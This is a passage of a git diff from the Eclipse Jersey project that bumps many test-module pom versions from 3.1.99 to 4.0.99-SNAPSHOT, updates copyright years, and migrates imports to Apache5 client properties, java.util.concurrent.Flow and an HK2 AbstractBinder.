             assertEquals(TEST_STRING, properties.get(Apache5ClientProperties.DISABLE_COOKIES));
-            assertFalse(properties.containsKey(ApacheClientProperties.CONNECTION_MANAGER));
             assertFalse(properties.containsKey(Apache5ClientProperties.CONNECTION_MANAGER));
             assertEquals(TEST_STRING, properties.get(JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION));
             assertFalse(properties.containsKey(JettyClientProperties.DISABLE_COOKIES));
diff --git a/tests/integration/property-check/src/test/java/org/glassfish/jersey/tests/integration/propertycheck/PropertyOverlappingCheckTest.java b/tests/integration/property-check/src/test/java/org/glassfish/jersey/tests/integration/propertycheck/PropertyOverlappingCheckTest.java
index 6b5eb3d..fabd9d7 100644
--- a/tests/integration/property-check/src/test/java/org/glassfish/jersey/tests/integration/propertycheck/PropertyOverlappingCheckTest.java
+++ b/tests/integration/property-check/src/test/java/org/glassfish/jersey/tests/integration/propertycheck/PropertyOverlappingCheckTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -25,7 +25,7 @@
 import java.util.logging.Logger;
 
 import org.glassfish.jersey.CommonProperties;
-import org.glassfish.jersey.apache.connector.ApacheClientProperties;
+import org.glassfish.jersey.apache5.connector.Apache5ClientProperties;
 import org.glassfish.jersey.client.ClientProperties;
 import org.glassfish.jersey.internal.util.PropertiesClass;
 import org.glassfish.jersey.internal.util.Property;
@@ -71,7 +71,7 @@
 
     private static final Class<?>[] classes = new Class[] {
             JettyClientProperties.class,
-            ApacheClientProperties.class,
+            Apache5ClientProperties.class,
             OAuth1ServerProperties.class,
             ServletProperties.class,
             CommonProperties.class,
diff --git a/tests/integration/reactive-streams/pom.xml b/tests/integration/reactive-streams/pom.xml
index 3aa718b..d85583b 100644
--- a/tests/integration/reactive-streams/pom.xml
+++ b/tests/integration/reactive-streams/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <packaging>pom</packaging>
diff --git a/tests/integration/reactive-streams/sse/pom.xml b/tests/integration/reactive-streams/sse/pom.xml
index 30efa42..0e0e061 100644
--- a/tests/integration/reactive-streams/sse/pom.xml
+++ b/tests/integration/reactive-streams/sse/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>reactive-streams-integration-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.reactive</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/JerseyEventSinkWhiteBoxSubscriberTckTest.java b/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/JerseyEventSinkWhiteBoxSubscriberTckTest.java
index 6aa5a86..d1313ec 100644
--- a/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/JerseyEventSinkWhiteBoxSubscriberTckTest.java
+++ b/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/JerseyEventSinkWhiteBoxSubscriberTckTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,12 +18,12 @@
 
 import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Flow;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.TimeoutException;
 
 import static org.testng.Assert.fail;
 
-import org.glassfish.jersey.internal.jsr166.Flow;
 import org.reactivestreams.Subscriber;
 import org.reactivestreams.tck.SubscriberWhiteboxVerification;
 import org.reactivestreams.tck.TestEnvironment;
diff --git a/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/JerseyFlowAdapters.java b/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/JerseyFlowAdapters.java
index 5740359..967301f 100644
--- a/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/JerseyFlowAdapters.java
+++ b/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/JerseyFlowAdapters.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,15 +16,15 @@
 
 package org.glassfish.jersey.media.sse.internal;
 
-import org.glassfish.jersey.internal.jsr166.Flow;
+import java.util.concurrent.Flow;
 
 public class JerseyFlowAdapters {
 
     /**
-     * Adapt {@link org.glassfish.jersey.internal.jsr166.Flow.Subscriber} to
+     * Adapt {@link Flow.Subscriber} to
      * {@link org.reactivestreams.Subscriber}.
      *
-     * @param jerseySubscriber Jersey's repackaged {@link org.glassfish.jersey.internal.jsr166.Flow.Subscriber}
+     * @param jerseySubscriber Jersey's repackaged {@link Flow.Subscriber}
      * @param <T>              payload type
      * @return Reactive Streams's {@link org.reactivestreams.Subscriber}
      */
diff --git a/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/SseSubscriberTest.java b/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/SseSubscriberTest.java
index 948a210..2fa413d 100644
--- a/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/SseSubscriberTest.java
+++ b/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/SseSubscriberTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,6 +22,7 @@
 import java.util.List;
 import java.util.Objects;
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Flow;
 import java.util.concurrent.TimeUnit;
 import java.util.stream.Collectors;
 
@@ -44,7 +45,6 @@
 import static org.junit.jupiter.api.Assertions.assertTrue;
 
 import io.reactivex.Flowable;
-import org.glassfish.jersey.internal.jsr166.Flow;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 import org.junit.jupiter.api.Test;
diff --git a/tests/integration/security-digest/pom.xml b/tests/integration/security-digest/pom.xml
index 2fbd558..6fb6540 100644
--- a/tests/integration/security-digest/pom.xml
+++ b/tests/integration/security-digest/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <artifactId>security-digest</artifactId>
diff --git a/tests/integration/servlet-2.5-autodiscovery-1/pom.xml b/tests/integration/servlet-2.5-autodiscovery-1/pom.xml
index 7927156..02103e2 100644
--- a/tests/integration/servlet-2.5-autodiscovery-1/pom.xml
+++ b/tests/integration/servlet-2.5-autodiscovery-1/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-autodiscovery-1</artifactId>
diff --git a/tests/integration/servlet-2.5-autodiscovery-2/pom.xml b/tests/integration/servlet-2.5-autodiscovery-2/pom.xml
index 1d41d94..3fe0fd1 100644
--- a/tests/integration/servlet-2.5-autodiscovery-2/pom.xml
+++ b/tests/integration/servlet-2.5-autodiscovery-2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-autodiscovery-2</artifactId>
@@ -34,11 +34,6 @@
 
     <dependencies>
         <dependency>
-            <groupId>org.glassfish.jersey.bundles</groupId>
-            <artifactId>jaxrs-ri</artifactId>
-            <type>jar</type>
-        </dependency>
-        <dependency>
             <groupId>org.glassfish.jersey.ext</groupId>
             <artifactId>jersey-bean-validation</artifactId>
             <exclusions>
@@ -48,6 +43,10 @@
                 </exclusion>
             </exclusions>
         </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-servlet-core</artifactId>
+        </dependency>
 
         <dependency>
             <groupId>org.glassfish.jersey.test-framework.providers</groupId>
diff --git a/tests/integration/servlet-2.5-filter/pom.xml b/tests/integration/servlet-2.5-filter/pom.xml
index d690645..41b598f 100644
--- a/tests/integration/servlet-2.5-filter/pom.xml
+++ b/tests/integration/servlet-2.5-filter/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-filter</artifactId>
diff --git a/tests/integration/servlet-2.5-inflector-1/pom.xml b/tests/integration/servlet-2.5-inflector-1/pom.xml
index 2dddb72..275b3ad 100644
--- a/tests/integration/servlet-2.5-inflector-1/pom.xml
+++ b/tests/integration/servlet-2.5-inflector-1/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-inflector-1</artifactId>
diff --git a/tests/integration/servlet-2.5-init-1/pom.xml b/tests/integration/servlet-2.5-init-1/pom.xml
index 72d51d4..7a8526a 100644
--- a/tests/integration/servlet-2.5-init-1/pom.xml
+++ b/tests/integration/servlet-2.5-init-1/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-1</artifactId>
diff --git a/tests/integration/servlet-2.5-init-2/pom.xml b/tests/integration/servlet-2.5-init-2/pom.xml
index 7aca915..1a48784 100644
--- a/tests/integration/servlet-2.5-init-2/pom.xml
+++ b/tests/integration/servlet-2.5-init-2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-2</artifactId>
diff --git a/tests/integration/servlet-2.5-init-3/pom.xml b/tests/integration/servlet-2.5-init-3/pom.xml
index 44a2ee6..7b06c11 100644
--- a/tests/integration/servlet-2.5-init-3/pom.xml
+++ b/tests/integration/servlet-2.5-init-3/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-3</artifactId>
diff --git a/tests/integration/servlet-2.5-init-4/pom.xml b/tests/integration/servlet-2.5-init-4/pom.xml
index 2bf7013..3bec66c 100644
--- a/tests/integration/servlet-2.5-init-4/pom.xml
+++ b/tests/integration/servlet-2.5-init-4/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-4</artifactId>
diff --git a/tests/integration/servlet-2.5-init-5/pom.xml b/tests/integration/servlet-2.5-init-5/pom.xml
index 94e4380..4d16751 100644
--- a/tests/integration/servlet-2.5-init-5/pom.xml
+++ b/tests/integration/servlet-2.5-init-5/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-5</artifactId>
diff --git a/tests/integration/servlet-2.5-init-6/pom.xml b/tests/integration/servlet-2.5-init-6/pom.xml
index 42bc611..5b84f88 100644
--- a/tests/integration/servlet-2.5-init-6/pom.xml
+++ b/tests/integration/servlet-2.5-init-6/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-6</artifactId>
diff --git a/tests/integration/servlet-2.5-init-7/pom.xml b/tests/integration/servlet-2.5-init-7/pom.xml
index 13613a9..91d31cf 100644
--- a/tests/integration/servlet-2.5-init-7/pom.xml
+++ b/tests/integration/servlet-2.5-init-7/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-7</artifactId>
diff --git a/tests/integration/servlet-2.5-init-8/pom.xml b/tests/integration/servlet-2.5-init-8/pom.xml
index cb4d9ee..ae33c83 100644
--- a/tests/integration/servlet-2.5-init-8/pom.xml
+++ b/tests/integration/servlet-2.5-init-8/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-8</artifactId>
diff --git a/tests/integration/servlet-2.5-mvc-1/pom.xml b/tests/integration/servlet-2.5-mvc-1/pom.xml
index 6382610..2241716 100644
--- a/tests/integration/servlet-2.5-mvc-1/pom.xml
+++ b/tests/integration/servlet-2.5-mvc-1/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-mvc-1</artifactId>
diff --git a/tests/integration/servlet-2.5-mvc-2/pom.xml b/tests/integration/servlet-2.5-mvc-2/pom.xml
index 07b06ca..186441b 100644
--- a/tests/integration/servlet-2.5-mvc-2/pom.xml
+++ b/tests/integration/servlet-2.5-mvc-2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-mvc-2</artifactId>
diff --git a/tests/integration/servlet-2.5-mvc-3/pom.xml b/tests/integration/servlet-2.5-mvc-3/pom.xml
index cae94da..c61d9c3 100644
--- a/tests/integration/servlet-2.5-mvc-3/pom.xml
+++ b/tests/integration/servlet-2.5-mvc-3/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-mvc-3</artifactId>
diff --git a/tests/integration/servlet-2.5-reload/pom.xml b/tests/integration/servlet-2.5-reload/pom.xml
index 642148d..b5fa21e 100644
--- a/tests/integration/servlet-2.5-reload/pom.xml
+++ b/tests/integration/servlet-2.5-reload/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-reload</artifactId>
diff --git a/tests/integration/servlet-3-async/pom.xml b/tests/integration/servlet-3-async/pom.xml
index 0b3ee52..e46d163 100644
--- a/tests/integration/servlet-3-async/pom.xml
+++ b/tests/integration/servlet-3-async/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-async</artifactId>
diff --git a/tests/integration/servlet-3-chunked-io/pom.xml b/tests/integration/servlet-3-chunked-io/pom.xml
index cfa21a7..6b5eb0f 100644
--- a/tests/integration/servlet-3-chunked-io/pom.xml
+++ b/tests/integration/servlet-3-chunked-io/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-chunked-io</artifactId>
diff --git a/tests/integration/servlet-3-filter/pom.xml b/tests/integration/servlet-3-filter/pom.xml
index e04749d..4704c35 100644
--- a/tests/integration/servlet-3-filter/pom.xml
+++ b/tests/integration/servlet-3-filter/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-filter</artifactId>
diff --git a/tests/integration/servlet-3-gf-async/pom.xml b/tests/integration/servlet-3-gf-async/pom.xml
index 3e9c6af..0cb88a0 100644
--- a/tests/integration/servlet-3-gf-async/pom.xml
+++ b/tests/integration/servlet-3-gf-async/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-gf-async</artifactId>
diff --git a/tests/integration/servlet-3-inflector-1/pom.xml b/tests/integration/servlet-3-inflector-1/pom.xml
index 12aa2d7..41887f0 100644
--- a/tests/integration/servlet-3-inflector-1/pom.xml
+++ b/tests/integration/servlet-3-inflector-1/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-inflector-1</artifactId>
diff --git a/tests/integration/servlet-3-init-1/pom.xml b/tests/integration/servlet-3-init-1/pom.xml
index 0b24cd3..66f9552 100644
--- a/tests/integration/servlet-3-init-1/pom.xml
+++ b/tests/integration/servlet-3-init-1/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-1</artifactId>
diff --git a/tests/integration/servlet-3-init-2/pom.xml b/tests/integration/servlet-3-init-2/pom.xml
index 65b0d03..706fc9e 100644
--- a/tests/integration/servlet-3-init-2/pom.xml
+++ b/tests/integration/servlet-3-init-2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-2</artifactId>
diff --git a/tests/integration/servlet-3-init-3/pom.xml b/tests/integration/servlet-3-init-3/pom.xml
index 568b6c3..7917398 100644
--- a/tests/integration/servlet-3-init-3/pom.xml
+++ b/tests/integration/servlet-3-init-3/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-3</artifactId>
diff --git a/tests/integration/servlet-3-init-4/pom.xml b/tests/integration/servlet-3-init-4/pom.xml
index 78f2594..16aa833 100644
--- a/tests/integration/servlet-3-init-4/pom.xml
+++ b/tests/integration/servlet-3-init-4/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-4</artifactId>
diff --git a/tests/integration/servlet-3-init-5/pom.xml b/tests/integration/servlet-3-init-5/pom.xml
index 5b0b281..9b4ca48 100644
--- a/tests/integration/servlet-3-init-5/pom.xml
+++ b/tests/integration/servlet-3-init-5/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-5</artifactId>
diff --git a/tests/integration/servlet-3-init-6/pom.xml b/tests/integration/servlet-3-init-6/pom.xml
index 75c357d..5f70845 100644
--- a/tests/integration/servlet-3-init-6/pom.xml
+++ b/tests/integration/servlet-3-init-6/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-6</artifactId>
diff --git a/tests/integration/servlet-3-init-7/pom.xml b/tests/integration/servlet-3-init-7/pom.xml
index 611d6bd..17dd6e0 100644
--- a/tests/integration/servlet-3-init-7/pom.xml
+++ b/tests/integration/servlet-3-init-7/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-7</artifactId>
diff --git a/tests/integration/servlet-3-init-8/pom.xml b/tests/integration/servlet-3-init-8/pom.xml
index b980af4..936bd23 100644
--- a/tests/integration/servlet-3-init-8/pom.xml
+++ b/tests/integration/servlet-3-init-8/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-8</artifactId>
diff --git a/tests/integration/servlet-3-init-9/pom.xml b/tests/integration/servlet-3-init-9/pom.xml
index 461f2fe..c1d5bb4 100644
--- a/tests/integration/servlet-3-init-9/pom.xml
+++ b/tests/integration/servlet-3-init-9/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-9</artifactId>
diff --git a/tests/integration/servlet-3-init-provider/pom.xml b/tests/integration/servlet-3-init-provider/pom.xml
index 6ca1c7f..7d0d6cf 100644
--- a/tests/integration/servlet-3-init-provider/pom.xml
+++ b/tests/integration/servlet-3-init-provider/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-provider</artifactId>
diff --git a/tests/integration/servlet-3-params/pom.xml b/tests/integration/servlet-3-params/pom.xml
index 436a0e5..51926ec 100644
--- a/tests/integration/servlet-3-params/pom.xml
+++ b/tests/integration/servlet-3-params/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-params</artifactId>
diff --git a/tests/integration/servlet-3-sse-1/pom.xml b/tests/integration/servlet-3-sse-1/pom.xml
index bde2e8b..d748929 100644
--- a/tests/integration/servlet-3-sse-1/pom.xml
+++ b/tests/integration/servlet-3-sse-1/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-sse-1</artifactId>
diff --git a/tests/integration/servlet-4.0-mvc-1/pom.xml b/tests/integration/servlet-4.0-mvc-1/pom.xml
index 54454bc..3170bf1 100644
--- a/tests/integration/servlet-4.0-mvc-1/pom.xml
+++ b/tests/integration/servlet-4.0-mvc-1/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-4.0-mvc-1</artifactId>
diff --git a/tests/integration/servlet-request-wrapper-binding-2/pom.xml b/tests/integration/servlet-request-wrapper-binding-2/pom.xml
index b845232..bea65ae 100644
--- a/tests/integration/servlet-request-wrapper-binding-2/pom.xml
+++ b/tests/integration/servlet-request-wrapper-binding-2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-request-wrappper-binding-2</artifactId>
diff --git a/tests/integration/servlet-request-wrapper-binding-2/src/main/java/org/glassfish/jersey/tests/integration/servlet_request_wrapper_binding2/RequestResponseWrapperProvider.java b/tests/integration/servlet-request-wrapper-binding-2/src/main/java/org/glassfish/jersey/tests/integration/servlet_request_wrapper_binding2/RequestResponseWrapperProvider.java
index e152f64..83ec8e7 100644
--- a/tests/integration/servlet-request-wrapper-binding-2/src/main/java/org/glassfish/jersey/tests/integration/servlet_request_wrapper_binding2/RequestResponseWrapperProvider.java
+++ b/tests/integration/servlet-request-wrapper-binding-2/src/main/java/org/glassfish/jersey/tests/integration/servlet_request_wrapper_binding2/RequestResponseWrapperProvider.java
@@ -1,6 +1,6 @@
 /*
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2022 Contributors to the Eclipse Foundation
- * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -55,9 +55,9 @@
 import jakarta.servlet.http.HttpSession;
 import jakarta.servlet.http.Part;
 
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.inject.hk2.DelayedHk2InjectionManager;
 import org.glassfish.jersey.inject.hk2.ImmediateHk2InjectionManager;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.ReferencingFactory;
 import org.glassfish.jersey.internal.util.collection.Ref;
@@ -308,6 +308,16 @@
                 }
 
                 @Override
+                public void sendRedirect(String location, int sc) throws IOException {
+                    getHttpServletResponse().sendRedirect(location, sc);
+                }
+
+                @Override
+                public void sendRedirect(String s, int i, boolean b) throws IOException {
+                    getHttpServletResponse().sendRedirect(s, i, b);
+                }
+
+                @Override
                 public void setDateHeader(String s, long l) {
                     getHttpServletResponse().setDateHeader(s, l);
                 }
diff --git a/tests/integration/servlet-request-wrapper-binding/pom.xml b/tests/integration/servlet-request-wrapper-binding/pom.xml
index 0b1f7ae..4a3d9e7 100644
--- a/tests/integration/servlet-request-wrapper-binding/pom.xml
+++ b/tests/integration/servlet-request-wrapper-binding/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-request-wrappper-binding</artifactId>
diff --git a/tests/integration/servlet-tests/pom.xml b/tests/integration/servlet-tests/pom.xml
index c42ca5d..042b903 100644
--- a/tests/integration/servlet-tests/pom.xml
+++ b/tests/integration/servlet-tests/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
